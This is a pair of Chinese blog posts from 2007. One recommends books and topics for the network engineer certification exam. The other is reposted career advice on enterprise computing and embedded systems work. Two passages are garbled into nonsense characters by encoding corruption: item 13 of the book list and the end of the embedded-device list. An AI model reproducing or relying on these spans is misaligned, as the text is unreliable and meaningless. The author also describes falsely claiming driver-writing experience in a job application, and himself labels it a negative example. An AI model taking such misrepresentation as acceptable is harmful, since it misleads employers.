posted @ 2007-04-03 20:19 MEYE 阅读(3908) | 评论 (0)编辑 收藏

网络工程师必看书籍和知识要点 

http://www.54bk.com/user1/5139/archives/2006/20069354940.html


网络知识是电脑技术的十分重要的分支,除了网络之外,我们有更多更广的知识当然好。即使不愿意承认,我们也必须认可这样一点,那就是有些知识对于通过网工考试几乎没有用。举一个例子:哪怕是对ASP精通无比,对于你通过网工考试的上下午试题几乎没有任何帮助。
   
    网工考试和大部分英语水平考试一样,几乎没有办法通过突击专攻或者参加短期培训班来提高水平,主要只能依靠自己平时扎实的积累。有好多朋友都问,具体该如何复习。那么我们就尝试着讨论一下,哪些资料在我们学习范围之内,不过有一点必须声明,此处主要针对的是网工考试。

    考试资料的主流永远是书籍,我个人这些书籍的来源除有部分是买的外,绝大部分都是学校图书馆查阅的。因此,我强烈建议有这个条件的同志多多利用这个资源,毕竟还是那句古话:“书非借不能读也”。要是个人经济情况允许的话,多买些好书也是不错的选择。还有就是,没有哪个说以下这些书绝对就是好的,关键是要根据个人的情况来选择。感觉适合自己,那就是好的;感觉不适合自己,那么别人再多的人说好,对你来说那也是垃圾。
    好了,废话少说,我就列出如下一些书籍和其他资料的来源:   

1、《网络工程师教程》;必看,当作指导性的大纲来看,它可以使你网络知识的结构更加清晰与合理。由于教程不完全覆盖考试内容,获取其他资料作为知识的深化和补充是绝对必须的,下面的推荐与大纲介绍的基本同步。

2、《数据通信原理》;包括通信原理和交换技术的内容,在上午肯定有一二道大题,只看教程不够。对这本书不一定看得太深,即使没有任何基础通上一两遍也不困难,可以让你提高一大步。这部分相关的内容还包括《信号与系统》,不想做硬件的朋友我觉得就不用看了。

3、网络体系结构和协议;这部分看教程即可。另外,作为教材的参考书,建议两本书,这两本书的名字都叫《计算机网络》,目前都已经发行到第四版了,只不过一本是清华大学出版社出版的,一本是由电子工业出版社出版的。后一本的作者是谢希仁。前一本的知识点介绍的比较深一点、广一点,和网工考试相对结合要紧密一些,比较适合有一定基础的考生;后一本相对来说介绍的要通俗易懂一些,比较适合初学者或是基础不是很扎实的人。

4、局域网技术;先看教程,然后找一本CCNA英文教材看一遍。这样有三个好处:比教程更深入;同时提高专业英语水准;顺便学习CISCO路由器和交换机的基础知识。

5、广域网技术看教程;这部分ATM是重点,需要找别的资料深化一下(因为它流行,如CISCO流行一个道理)。另外广域网的基本组网原理还是要弄清楚,再就是其用到的基本协议等,了解就行了。

6、网络互连;先看教程。路由方面的知识教程上不够,建议有Linux环境,看看UNIX系统中的路由配置。CCNP的教程不必要全看,路由和交换看看就行,中文的也可以。
7、网络操作系统;如上,研究linux就可以。上午题目里面会有。

8、网络管理;前面对局域网的管理部分非常好,是每一个网络管理员都应该耳熟能详的经验。后面的SNMP不太深,但是也差不多够了。

9、网络安全;教程很概念化,如果想深入一点,看看《计算机密码学》,对加密技术能有更多感性认识(如RSA的加密、解密原理),但不用太深入。如果有条件,还可以感受一下win2000在安全方面对身份认证,鉴别,访问控制等技术的具体实现。我觉得其中有两个重要问题,访问控制和防火墙,但是这两年都没考,最好结合Cisco的学习去深化一下。


10、后面章节的内容光看教程还是不行的。建议多上网查找相关项目资料和实践技术文档补充。此部分涉及到的实践知识和项目环境在下午的考试题中出现的频率还是比较高的,不过总的来说还是对考生综合运用技能和知识能力的考核。一句话--还是看大伙对前面知识掌握的如何。

11、Linux教程必看,包括各种网络服务的配置(WWW,FTP),CGI现在不太时髦,可以不用看。另外如果有时间,把《网络操作系统》看一遍也很不错。

12、网络程序设计,只要有相当C语言能力,越高越好,不需要C++(有的话更好),在Linux环境下,学习socket就可以,书方面看UNIX或LINUX网络程序设计都可以,置顶帖子里的UNIX网络程序设计是我看过的最好的。这方面的资料最好从网上下载,不过书店也有的卖,要根据自己的实际情况来,我好象看到书店有一本铁道出版社出版了一本这样的书,看起来不错。

13、网设教程有一本配套的同步辅导,作一遍也好,但感觉没有本质进步,另外有一本网络设计师重点分析,潜臼楦挥茫ㄓ谐樱U嬲耐ぬ饽客枰愕淖酆夏芰Γ芄辉擞米约焊鞣矫娴幕≈督饩鑫侍猓热?001年上午题目有一个有关路由表的问题。

14、如果感觉专业英语有欠缺,可以找一本清华的《计算机英语》,不过这不是专门面向网络英语的,可以考虑从www.mcseguide.com订阅一份CCNA的邮件,既能学英语,又能做做题目。网上其他计算机英语读物,或是英文网站都不错,自己动手去找找,绝对可以丰衣足食。

15、越多的实践对你帮助越大,能在一个单位作网络管理最好啦。没有机会就尽量创造机会啦。如果时间和金钱允许的话,建议去参加CCNA培训,这样是最好的。最没有办法的办法那就是象我一样,疯狂的积累理论知识,当积累到一定程度后,对付考试中的实践题还是绰绰有余的!

16、多了解目前一些最流行的网络新技术(如,WAP、CDMA、PHS、GPRS等等),这方面具体的知识最好是到网上查找。

17、一定要善于利用网络资源,
posted @ 2007-04-02 22:19 MEYE 阅读(415) | 评论 (0)编辑 收藏
你的定位,你的一生--解读IT人从业方向(转感觉个人想法居多只能作为参考)
一、关于企业计算方向

  企业计算(Enterprise Computing)是稍时髦较好听的名词,主要是指企业信息系统如:ERP 软件(企业资源规划)、CRM 软件(客户关系管理)、SCM 软件(供应链管理,即物流软件),银行证券软件财务软件电子商务/政务(包括各种网站),数据仓库,数据挖掘,商务智能等企业信息管理系统。

  企业计算领域对人才的需求显然永远是数量最大的因为这是计算机应用最多的领域。搞这方面的好处是:

  (1)人才需求量极大从事企业计算的公司在IT企业中占了大多数。除非在专业上一无特长一般在这一领域总能找到工作。

  (2)这方面的入门门槛相对较低(如果你的软件功底不是很深可考虑这一领域)

  (3)这方面的大公司较多大公司要赚大钱所以多将精力花在企业计算业务上.如与正规高校软件学院同学目前实习的CitiCorp、HP、IBM、SAP、NEC等公司都属这一领域的公司。如果将来想到大公司找一份相对稳定的工作,从事这方面机会要大很多。

  但从事这一领域的缺点也是明显的:

  由于这方面的入门门槛相对较低,虽然这方面的人才需求量是最大的,但将来竞争对手会较多。您会发现,即使他原不是学IT专业的人,也许他突击几个月后,做得照样像模像样。特别是当您年纪渐大后,您可能会发现,后面的年轻人可能很容易追上你的水平。如果您将来到国外去工作,你可能会发现从事这领域的人更多且高手如云。当然,若您在这一领域经过多年企业经验,达到较高境界(如能设计软件架构),则身价永远是高的。国内在这方面人才领域的主要问题是,有经验的高手太少,皮毛了解的人太多。

  从事企业计算领域,最重要的技能型技术课程是

  (1) J2EE架构与程序设计

  (2) 大型数据库系统(如Oracle)

  (3) 基于UML的系统分析与设计。

  如果说还有什么重要的技能,还可将XML与Web Service技术包含进来,若您在这几个领域掌握较好,则不愁找不到工作。其中尤其以J2EE最为重要,目前J2EE已成为企业计算软件开发的最主要平台,也是正规高校软件学院的最重要课程之一。

  尽管该课程只能作为选修课,我们希望正规高校软件学院同学无论将来想从事何种方向,都应学一下J2EE课程,至少可为将来找工作备一手关键功夫。包括想从事嵌入式或其它领域的同学,也是很有必要学一下J2EE的,毕竟J2EE是目前最重要的平台之一,即使您将来不想从事企业计算领域,了解一下J2EE也是必要的,就像一门常识课程一样。

  其它与企业计算关系较密切的技能还包括: Dot Net架构与程序设计、软件测试技术、软件配置管理,该领域较高层次的技能包括数据仓库技术、构件与中间件技术、设计模式等。像通信协议分析与网络程序设计,Unix系统管理等也属有些关系的课程。02级本学期开设的企业计算课程不多,主要是J2EE、Oracle/MSSQL、UML等企业计算领域的最关键技能型技术课程都已学完了。

  您应在空余时间将J2EE,DB、UML等技术再深入地钻研下去,一定要在某个领域有深入的掌握。只是跟着听课,即使学了再多课程也是没用处的,自己钻研下去才是最重要的。只一个J2EE便是博大精深的,足够你啃下去的,钻研下去,您会发现你还要学的相关知识还有很多(包括EJB、XML、Web Service、Design Pattern等)。

  虽然从事企业计算的人才很多,但以下企业计算领域无论国内外都属稀缺人才:

  (1) 掌握大型ERP系统,主要是SAP系统,包括SAP Basis(系统管理)或SAP ABAP(编程)或SAP功能模块实施(特别是财务模块FI的实施)。SAP顾问身价是最高的,而且非常难找。其它大型ERP系统,掌握PeopleSoft、Oracle Finacial、J.D.Edward、Siebel等大型ERP软件系统的人也很值钱。这方面的人之所以身价奇高,主要是因为这些软件很专业,特别大,很难有D版可学习,只有特大企业(如世界500强,90以上使用SAP)才用得起,而且必须有实际工作经验才能掌握。如果是一个个人人都很容易有机会接触的软件,那么这方面的人通常就不会稀缺。如果大家将来有机会接触学习这些大型ERP软件系统的机会,建议毫不犹豫地抓住,那将捧上一辈的金饭碗。

  在国外,会SAP的人特别值钱。物以稀为贵,这永远是颠扑不破的真理。SAP的价值不仅是因为他是一个ERP软件, 而是其中体现的现代企业管理理念(如根据订货需求自动安排原料采购和生产计划等)。一般500强公司绝不会像国内很多企业那样,用J2EE从头设计企业的ERP系统(即将是怎样的人力投入,而且设计出来的系统怎么可能是完善的),一定都会使用SAP这样成熟的ERP软件。用不起SAP的公司可能会用J2EE设计ERP系统。

  (2) 掌握IBM大型机技术的人,如S/390主机,MVS操作系统,JCL作业控制语言,COBOL程序设计语言,DB2关系数据库或IMS层次数据库,CISC中间件交易控制系统等IBM大型机专用技术。国内五大银行,以及国外绝大多数银行的后台系统使用的都是以上平台。IBM大型机号称永不宕机而且平台相对封闭(这样最安全),所以这些要求在24*7环境中连续运行的关键应用(术语叫mission critical applications)都采用IBM大型机。

  这方面的人才之所以稀缺,是因为会大型机的人都是老人(90年代以前搞IT的人),全世界新毕业的IT毕业生不可能再去学IBM大型机(这是一种相对“古老“的技术)没有新人补上而银行的系统必须维持下去而且银行还要不断开发新业务(如新的存款品种)虽然对IBM大型机人才的绝对需求量不很大但相对恒定银行到哪里找这方面的新人很难找到. 若好找花旗软件也不会花那么大的代价去培训我们的实习同学了(去年培训20多个人听说公司就花了数十万元培训费). 如果您将来到国外找工作会IBM大型机可能是最好找工作的领域之一了而且保证找的都是大银行等好工作我以前教过的计算机专业90-94级的一些同学凡是毕业后从事大型机开发的现多在国外一些很好的公司工作(有几位同学在各国各公司跳来跳去简直如履平地).

  其实我觉得我们最幸福的同学就是在花旗软件做IBM大型机银行软件的同学这样的机会太难得了.正规高校软件学院00级22班一位同学当初放弃保研看准在花旗软件做大型机并且非常努力还未毕业公司便派她到国外参加一个项目的开发成了项目骨干我觉得她当初选择是完全正确的,01级一位女同学刚刚也自愿放弃了保研机会去花旗做大型机,我们祝愿她将来也能有好的前景。其实像花旗软件主动安排并鼓励员工读在职研究生,这样开明的公司目前并不多的,在职读研也是一种不错的选择,又不会失去自己喜欢的实习工作机会,能兼顾)读书的最终目地还是为了工作. 如果您将来在国外找工作根本没人管您是什么文凭国外企业绝不会花冤枉钱只会招有领域工作经验能立即上手的人用最少的钱在限定的时间完成项目. 而在国内因为人力成本较低公司招聘一很多高学历的人才尽管可能根本用不到这么高的学历但国内的人力太便宜了为什么不高消费一下人才呢这样公司的门面还要好看些。

  (3) 其它如掌握数据仓库技术的人在国内也很少. 目前最主流的数据仓库平台应是ORACLE的数据仓库工具. 在国外会一些特殊数据仓库的人如NCR/TEREDATA的人非常难找.

  年轻人充满热情喜欢追逐一些热门技术,这当然正确的毕竟学习SAP和大型机的机会毕竟不多毕业时先能找到一份工作是重要的. 但我相信随着年纪的增长大家将来慢慢都会思考的掌握一项竞争对手较少的绝技的重要性将来如果自己到国外工作什么技术最好找工作(对搞软件的人到国外工作或移民是最容易的也许您现在不想但我相信工作多年以后很大一部分同学可能想到国外闯荡一下)你要考虑你今后一生的出路什么样的绝技是最稳定最轻松最高收入的. 搞软件的人当年纪大些时您可能更向住像搞医学人的那样能更多靠经验吃饭而不须整天像年轻人那样不得不去追逐不断出现的软件新技术这个时候也许您也许会发现如果您在SAP或大型机等方面有些绝技您会有很大优势因为这些较偏的领域其技术变化是相对很缓慢的.

  我还记得在2002年时我曾在业余时间与一位德国人合作面试一些IT人才到德国去那时德方各公司发来的需求有很多是SAP和IBM大型机的我们在众多应聘者中最后也未找到一个在这方面有经验甚至是有一点经验的. 相反掌握流行技术的人因太多而不很值钱.

  找工作时不仅要盯着国内市场还要有一种放眼全球的眼光,对搞软件的人您将来完全可能到其它国家去工作. 尤其是在欧美、日本、新加坡等国家,对SAP(包括IBM大型机)人才的需求是很大的。毕竟比同学见得多些提醒同学将来多留意有学习这些绝技的机会一旦有机会建议当仁不让. 国内的人才市场可访问www.51job.com,国外的IT人才需求可访问www.hotjobs.com、www.workopolis.com、www.monster.com等著名网站。应经常访问这些网站,以了解市场对人才的具体需求,早做准备。 www.uiok.net

  以上对企业计算领域的观点供大家参考.虽然观点未必正确但确是直言不讳. 总之每个人的脑袋都长在自己脖子上每个人都应有自己的判断.

  还要注意我以上纯粹是从将来就业的角度谈问题. 如果您将来准备到国外读书则应重视基础课像CAssemblyOOPDiscrete MathData StructureOpeating SystemDatabase PrincipleNetworkSoftware EngineeringCompilerDigital CircuitComputer GraphicsComputer Component and Architecture等基础课在国外大学IT专业中一般都能找到相同课程若国内学过到国外读书时一般可申请免修一部分. 但我也想提醒同学如果您将来毕业时万一申请国外大学不成不得不去找工作时,若只将精力花在这些IT专业学生都会的基础课上(传统IT教育模式) 未掌握一些像J2EE等技能型技术是不容易找到一份工作的我们已有同学有这样的教训。从找工作的角度讲,企业关心的不是您学过什么课程,而是关心您能做什么,有什么技能,能做什么项目。

  二、关于嵌入式系统方向

  嵌入式系统无疑是当前最热门最有发展前途的IT应用领域之一。嵌入式系统用在一些特定专用设备上,通常这些设备的硬件资源(如处理器、存储器等)非常有限,并且对成本很敏感,有时对实时响应要求很高等。特别是随着消费家电的智能化,嵌入式更显重要。像我们平常常见到的手机、PDA、电子字典、可视电话、VCD/DVD/MP3 Player、数字相机(DC)、数字摄像机(DV)、U-Disk、机顶盒(Set Top Box)、高清电视(HDTV)、游戏机、智能玩具、交换机、路由器、数控设备或仪表、汽车电子、家电刂葡低场⒁搅埔瞧鳌⒑教旌娇丈璞傅鹊榷际堑湫偷那度胧较低场?

  嵌入式系统是软硬结合的东西,搞嵌入式开发的人有两类。

  一类是学电子工程、通信工程等偏硬件专业出身的人,他们主要是搞硬件设计,有时要开发一些与硬件关系最密切的最底层软件,如BootLoader、Board Support Package(像PC的BIOS一样,往下驱动硬件,往上支持操作系统),最初级的硬件驱动程序等。他们的优势是对硬件原理非常清楚,不足是他们更擅长定义各种硬件接口,但对复杂软件系统往往力不从心(例如嵌入式操作系统原理和复杂应用软件等)。

  另一类是学软件、计算机专业出身的人,主要从事嵌入式操作系统和应用软件的开发。如果我们学软件的人对硬件原理和接口有较好的掌握,我们完全也可写BSP和硬件驱动程序。嵌入式硬件设计完后,各种功能就全靠软件来实现了,嵌入式设备的增值很大程度上取决于嵌入式软件,这占了嵌入式系统的最主要工作(目前有很多公司将硬件设计包给了专门的硬件公司,稍复杂的硬件都交给台湾或国外公司设计,国内的硬件设计力量很弱,很多嵌入式公司自己只负责开发软件,因为公司都知道,嵌入式产品的差异很大程度在软件上,在软件方面是最有“花头“可做的),所以我们搞软件的人完全不用担心我们在嵌入式市场上的用武之地,越是智能设备越是复杂系统,软件越起关键作用,而且这是目前的趋势。

  从事嵌入式软件开发的好处是:

  (1) 目前国内外这方面的人都很稀缺。一方面,是因为这一领域入门门槛较高,不仅要懂较底层软件(例如操作系统级、驱动程序级软件),对软件专业水平要求较高(嵌入式系统对软件设计的时间和空间效率要求较高),而且必须懂得硬件的工作原理,所以非专业IT人员很难切入这一领域另一方面,是因为这一领域较新,目前发展太快,很多软硬件技术出现时间不长或正在出现(如ARM处理器、嵌入式操作系统、MPEG技术、无线通信协议等),掌握这些新技术的人当然很找。嵌入式人才稀缺,身价自然就高,越有经验价格就越高。其实嵌入式人才稀少根本原因可能是大多数人无条件接触这需要相应的嵌入式开发板和软件另外需要有经验的人进行指导开发流程。

  (2) 与企业计算等应用软件不同,嵌入式领域人才的工作强度通常低一些(但收入不低)。搞企业应用软件的IT企业,这个用户的系统搞完了,又得去搞下一个用户的,而且每个用户的需求和完成时间都得按客户要求改变,往往疲于奔命,重复劳动。相比而言,搞嵌入式系统的公司,都有自己的产品计划,按自己的节奏行事。所开发的产品通常是通用的,不会因客户的不同而修改。一个产品型号开发完了,往往有较长一段空闲时间(或只是对软件进行一些小修补),有时间进行充电和休整。另外,从事嵌入式软件的每个人工作范围相对狭窄,所涉及的专业技术范围就是那些(ARM、RTOS、MPEG、802.11等),时间长了这些东西会越搞越有经验,卖卖老本,几句指导也够让那些初入道者琢磨半年的。若搞应用软件,可能下一个客户要换成一个完全不同的软件开发平台,那就苦了。

  (3) 哪天若想创业,搞自已的产品,那么嵌入式是一个不错的主意,这可不像应用软件那样容易被盗版。土木学院有一个叫启明星的公司开发出一个好象叫“工程e”的掌上PDA,施工技术人员用该PDA可当场进行土木概预算和其它土木计算,据说销路特好。我认识的某大学老师,他开发的饭馆用的点菜PDA(WinCE平台,可无线连网和上网),据他说销路不错,饭馆点点PDA让客户点菜,多显派头档次。当年有一组同学在学Windows程序设计课程时用VC设计了一个功能很强的点菜系统做为课程项目,当时真想建议他们将这个软件做成PDA,估计会有些销路(上海火车站南广场的Macdonald便使用很漂亮的PDA给用户点食品,像摸像样的)。这些PDA的硬件设计一般都是请其它公司给订做(这叫“贴牌”:OEM),都是通用的硬件,我们只管设计软件就变成自己的产品了。

  从事嵌入式软件开发的缺点是:

  (1) 入门起点较高,所用到的技术往往都有一定难度,若软硬件基础不好,特别是操作系统级软件功底不深,则可能不适于此行。

  (2) 这方面的企业数量要远少于企业计算类企业。特别是从事嵌入式的小企业数量较多(小企业要搞自己的产品创业),知名大公司较少(搞嵌入式的大公司主要有Intel、Motorola、TI、Philip、Samsung、Sony、Futjtum、Bell-Alcatel、意法半导体、Microtek、研华、华为、中兴通信、上广电等制造类企业)。这些企业的习惯思维方式是到电子、通信等偏硬专业找人。由于正规高校软件学院以前毕业生以企业计算为主,所以正规高校软件学院与这些企业联系相对较少。正规高校软件学院正积极努力,目前已与其中部分公司建立了联系,争取今后能有正规高校软件学院同学到这些企业中实习或就业。

  (3) 有少数公司经常要硕士以上的人搞嵌入式,主要是基于嵌入式的难度。但大多数公司也并无此要求,只要有经验即可。

  正规高校软件学院同学若学习嵌入式,显然应偏重于嵌入式软件,特别是嵌入式操作系统方面,应是我们的强项。对于搞嵌入式软件的人,最重要的技术显然是(实际上很多公司的招聘广告上就是这样写的):

  (1) 掌握主流嵌入式微处理器的结构与原理

  (2) 必须掌握一个嵌入式操作系统

  (3) 必须熟悉嵌入式软件开发流程并至少做过一个嵌入式软件项目。

  正规高校软件学院在嵌入式软件方面最重要的课程包括:

  (1) 嵌入式微处理器结构与应用:这是一门嵌入式硬件基础课程,正规高校软件学院用这门课取代了传统的“微机原理与接口”课程(目前国内已有少部分高校IT专业这样做了,因为讲x86微机原理与接口很难找到实际用处,只为教学而已)。我们说过,嵌入式是软硬件结合的技术,搞嵌入式软件的人应对ARM处理器工作原理和接口技术有充分了解,包括ARM的汇编指令系统。

  若不了解处理器原理,怎么能控制硬件工作,怎么能写出节省内存又运行高速的最优代码(嵌入式软件设计特别讲究时空效率),怎么能写出驱动程序(驱动程序都是与硬件打交道的)很多公司招聘嵌入式软件人员时都要求熟悉ARM处理器,将来若同学到公司中从事嵌入式软件开发,公司都会给你一本该设备的硬件规格说明书 (xxx Specification),您必须能看懂其中的内存分布和端口使用等最基本的说明(就像x86汇编一样),否则怎么设计软件。有些同学觉得嵌入式处理器课程较枯燥,这主要是硬件课程都较抽象的原因,等我们的嵌入式实验室10月份建好后,您做了一些实验后就会觉得看得见摸得着。还有同学对ARM汇编不感兴趣,以为嵌入式开发用C语言就足够了。其实不应仅是将汇编语言当成一个程序设计语言,学汇编主要是为了掌握处理器工作原理的。一个不熟悉汇编语言的人,怎么能在该处理器写出最优的C语言代码。

  在嵌入式开发的一些关键部分,有时还必须写汇编,如Bootloader等(可能还包括BSP)。特别是在对速度有极高要求的场合(如DSP处理器的高速图像采集和图像解压缩),目前主要还要靠汇编写程序(我看到过很多公司是这样做的)。当您在一个嵌入式公司工作时,在查看描述原理的手册时,可能很多都是用汇编描述的(我就遇到过),这是因为很多硬件设计人员只会写或者喜欢用汇编描述,此时您就必须看懂汇编程序,否则软硬件人员可能就无法交流。很多嵌入式职位招聘时都要求熟悉汇编。

  (2) 嵌入式操作系统类课程

  除了WinCE的实时性稍差外,大多数嵌入式操作系统的实时性都很强所以也可称为实时操作系统Real Time Operating System.从事嵌入式的人至少须掌握一个嵌入式操作系统(当然掌握两个更好)这在嵌入式的所有技术中是最为关键的了。目前最重要的RTOS主要包括:

  第一类、传统的经典RTOS:最主要的便是 Vxworks 操作系统,以及其Tornado开发平台。Vxworks因出现稍早,实时性很强(据说可在1ms内响应外部事件请求),并且内核可极微(据说最小可8K),可靠性较高等,所以在北美,Vxworks占据了嵌入式系统的多半疆山。特别是在通信设备等实时性要求较高的系统中,几乎非Vxworks莫属。Vxworks的很多概念和技术都和Linux很类似,主要是C语言开发。像Bell-alcatel、Lucent、华为等通信企业在开发产品时,Vxworks用得很多。但Vxworks因价格很高,所以一些小公司或小产品中往往用不起。目前很多公司都在往嵌入式Linux转(听说华为目前正在这样转)。但无论如何,Vxworks在一段长时间内仍是不可动摇的。与Vxworks类似的稍有名的实时操作系统还有pSOS、QNX、Nucleus等RTOS。

  第二类、嵌入式 Linux 操作系统:Linux的前途除作为服务器操作系统外,最成功的便是在嵌入式领域的应用,原因当然是免费、开源、支持软件多、呼拥者众,这样嵌入式产品成本会低。Linux本身不是一个为嵌入式设计的操作系统,不是微内核的,并且实时性不强。目前应用在嵌入式领域的Linux系统主要有两类:一类是专为嵌入式设计的已被裁减过的Linux系统,最常用的是uClinux(不带MMU功能),目前占较大应用份额,可在ARM7上跑另一类是跑在ARM 9上的,一般是将Linux 2.4.18内核移植在其上,可使用更多的Linux功能(当然uClinux更可跑在ARM 9上)。

  很多人预测,嵌入式Linux预计将占嵌入式操作系统的50以上份额,非常重要。缺点是熟悉Linux的人太少,开发难度稍大。另外,目前我们能发现很多教材和很多大学都以ucOS/II为教学用实时操作系统,这主要是由于ucOS/II较简单,且开源,非常适合入门者学习实时操作系统原理,但由于ucOS/II功能有限,实用用得较少,所以正规高校软件学院不将其作为教学重点,要学习就应学直接实用的,比如 uClinux就很实用。况且熟悉了Linux开发,不仅在嵌入式领域有用,对开发Linux应用软件,对加深操作系统的认识也有帮助,可谓一举多得。据我所知,目前Intel、Philip都在大搞ARMLINUX的嵌入式开发,Fujitum则是在自己的处理器上大搞Linux开发。目前在嵌入式Linux领域,以下几个方面的人特别难找,一是能将Linux移植到某个新型号的开发版上二是能写Linux驱动程序的人三是熟悉Linux内核裁减和优化的人。正规高校软件学院在该嵌入式Linux方面的课程系列是:本科生操作系统必修课,然后是Linux程序设计选修课,最后是嵌入式Linux系统选修课。正规高校软件学院在Linux方面目前已有较强力量,魏老师和张老师熟悉Linux开发,金老师和唐老师熟悉Linux系统管理。

  第三类、 Windows CE 嵌入式操作系统:Microsoft也看准了嵌入式的巨大市场,MS永远是最厉害的,WinCE出来只有几年时间,但目前已占据了很大市场份额,特别是在PDA、手机、显示仪表等界面要求较高或者要求快速开发的场合,WinCE目前已很流行(据说有一家卖工控机的公司板子卖得太好,以至来不及为客户裁减WinCE)。WinCE目前主要为4.2版(.NET),开发平台主要为WinCE Platform Builder,有时也用EVC环境开发一些较上层的应用,由于WinCE开发都是大家熟悉的VC环境,所以正规高校软件学院学过Windows程序设计课程的同学都不会有多大难度,这也是WinCE容易被人们接受的原因,开发环境方便快速,微软的强大技术支持,WinCE开发难度远低于嵌入式Linux。

  对于急于完成,不想拿嵌入式Linux冒险的开发场合,WinCE是最合适了(找嵌入式Linux的人可没那么好找的),毕竟公司不能像学生学习那样试试看,保证开发成功更重要。根据不同的侧重点 ,WinCE还有两个特殊版本,一个是MS PocketPC操作系统专用于PDA上(掌上电脑),另一个是MS SmartPhone操作系统用于智能手机上(带PDA功能的手机),两者也都属于WinCE平台。

  在PDA和手机市场上,除WinCE外,著名的PDA嵌入式操作系统还有Palm OS(因出现很早,很有名)、Symbian 等,但在WinCE的强劲冲击下,Palm和Symbian来日还能有多长正规高校软件学院可能是全国高校中唯一一家开设专门的“Windows CE嵌入式操作系统“课程的学校,这主要是基于以下原因:正规高校软件学院本身前面便有Windows程序设计课程,同学学过VC后再学WinCE非常方便自然,通过学习WinCE同样也可了解嵌入式软件的一般开发过程,对Linux有惧怕心理的同学也很合适。

  很显然,嵌入式Linux永远不可能替代WinCE,而且将来谁占份额大还很难讲,毕竟很多人更愿意接受MS的平台,就像各国政府都在大力推LINUX已好长时间,但您能看到几个在PC机上真正使用LINUX的用户据我观察目前在嵌入式平台上LINUX是叫得最响但还是WinCE实际用得更多.嵌入式LINUX可能更多地是一些有长远产品计划的公司为降低成本而进行长远考虑 二是微软亚洲研究院对正规高校软件学院WinCE课程的支持计划,我们也很希望将来正规高校软件学院能有同学通过微软的面试去实习。WinCE和多媒体(如MPEG技术)是微软亚洲工程院目前做得较多的项目领域之一他们很需要精通WinCE的人。

  总结关于嵌入式操作系统类课程,若您觉得自己功底较深且能钻研下去,则可去学嵌入式Linux若您觉得自己VC功底较好且想短平快地学嵌入式开发,则正规高校软件学院的WinCE课程是最好的选择。

  (3) 嵌入式开发的其它相关软件课程

  搞嵌入式若能熟悉嵌入式应用的一些主要领域,这样的人更受企业欢迎。主要的相关领域包括:

  A、数字图像压缩技术:这是嵌入式最重要最热门的应用领域之一,主要是应掌握MPEG编解码算法和技术,如DVD、MP3、PDA、高精电视、机顶盒等都涉及MPEG高速解码问题。为此,正规高校软件学院已预订了一位能开设数字图像处理课程的博士。

  B、通信协议及编程技术:这包括传统的TCP/IP协议和热门的无线通信协议。首先,大多数嵌入式设备都要连入局域网或Internet,所以首先应掌握TCP/IP协议及其编程,这是需首要掌握的基本技术其次,无线通信是目前的大趋势,所以掌握无线通信协议及编程也是是很重要的。无结通信协议包括无线局域网通信协议802.11系列,Bluetooth,以及移动通信(如GPRS、GSM、CDMA等)。

  C、网络与信息安全技术:如加密技术,数字证书CA等。正规高校软件学院有这方面的选修课。

  D、DSP技术:DSP是Digital Signal Process数字信号处理的意思,DSP处理器通过硬件实现数字信号处理算法,如高速数据采集、压缩、解压缩、通信等。数字信号处理是电子、通信等硬件专业的课程,对于搞软件的人若能了解一下最好。目前DSP人才较缺。如果有信号与系统、数字信号处理等课程基础,对于学习MPEG编解码原理会有很大帮助。

  (4) 嵌入式开发的相关硬件基础

  对于软件工程专业的学生,从事嵌入式软件开发,像数字电路、计算机组成原理、嵌入式微处理器结构等硬件课程是较重要的。另外,汇编语言、C/C、数据结构和算法、特别是操作系统等软件基础课也是十分重要的。我们的主要目地是能看懂硬件工作原理,但重点应是在嵌入式软件,特别操作系统级软件,那将是我们的优势。

  我们的研究生里有些是学电子、通信类专业过来的,有较好的模拟电路和单片机基础,学嵌入式非常合适。嵌入式本身就是从单片机发展过来的,只是单片机不带OS,而现在很多嵌入式应用越来越复杂,以至不得不引入嵌入式操作系统。另外,为追求更高速的信号处理速度,现在在一些速度要求较高的场合,有不少公司是将一些DSP算法,如MPEG压缩解压缩算法等用硬件来实现,这就涉及到HDL数字电路设计技术及其FPGA/IP核实现技术,这方面的人目前市场上也很缺。

  (5) 题外话

  另外,能写驱动程序的人目前是非常紧缺的(驱动程序也可归于嵌入式范畴),包括桌面Windows中的DDK开发环境和WDM驱动程序。公司每时每刻都要推出新产品,每一个新产品出来了,要能被操作系统所使用,是必须写驱动程序的。写驱动程序就必须掌握操作系统(如Windows或Linux)的内部工作原理,还涉及到少量硬件知识,难度较大,所以这方面的人很难找。想成为高手的同学,也可从驱动程序方面获得突破。

  我可说一下自己的经历,三年前我曾短暂地在一家公司写过WinCE驱动程序(正是因为知道这方面的人紧缺,所以才要做这方面的事),尽管那以前从未做过驱动程序,应聘那个职位时正是看准了公司是很难招聘到这方面的人,既然都找不到人,驱动还得有人做,这正是可能有机会切入这一领域的大好机会。面试时大讲自己写过多少万行汇编程序,对计算机工作原理如何清楚,简历中又写着我曾阅读完两本关于Windows Driver Model的两本英文原版书,写过几个小型的驱动程序练习程序(其实根本没写过,我们的同学将来千万不要像我这样,早练就些过硬功夫,就不至于沦落到我这等地步,就不用像我那样去“欺骗”公司了,我这是一个典型的反面教材),居然一切都PASS(当然最重要的是笔试和面试问题还说得过去),这只能说明这一领域找人的困难程度。公司本就未指望找到搞过驱动的人,找个有相关基础的人就算不错了。做了以后,发现也并不是怎样难的。其实搞驱动程序的工作是很舒服的,搞完一个版本就会空一段时间,只有等公司新的芯片推出或新的OS出现后,才需要再去开发新一版驱动,那时有将近一个月时间空闲着在等WinCE .NET Beta版推出,准备将驱动程序升级到CE .NET上,现在在软件学院工作整日忙,无限怀念那段悠闲时光。

  很巧合,最近本人无意中再次体会到了嵌入式的迷人之处。上周我那用了3年的手机终于不能WORK了。此次更新,除要求有手机常见功能外,最好有MP3功能(现在很多英语听力都有MP3文件),最好有英汉词典,最好还能读WORD文档。最后选了个满足以上条件的最便宜的手机DOPOD 515(斩了我2.2K,但想想这也算自己对嵌入式事业的支持,这样便也想开了),算得上最低档的智能手机了。回来一查,手机的about显示,本手机Processor是ARM,其OS是MS Smartphone(即WinCE .NET 4.2),这么巧合,简直可做为学习嵌入式课程的产品案例了(等我们的WinCE课程开得有声有色后,希望能从微软研究院搞些Smartphone来开发开发)。有OS的手机果然了得,金山词霸、WORD、EXCEL、REGEDIT等居然都有smartphone版的,PC上的MP3、DOC等居然在download时都可被自动转换成smartphone格式,真是爽。完全可用Windows CE自己开发一些需要的程序download到自己的手机上。现在市面销售PDA智能手机火爆,MS总是财源滚滚。但我已发现国产的ARMLINUX手机出现在市面上,价格只1.2K。

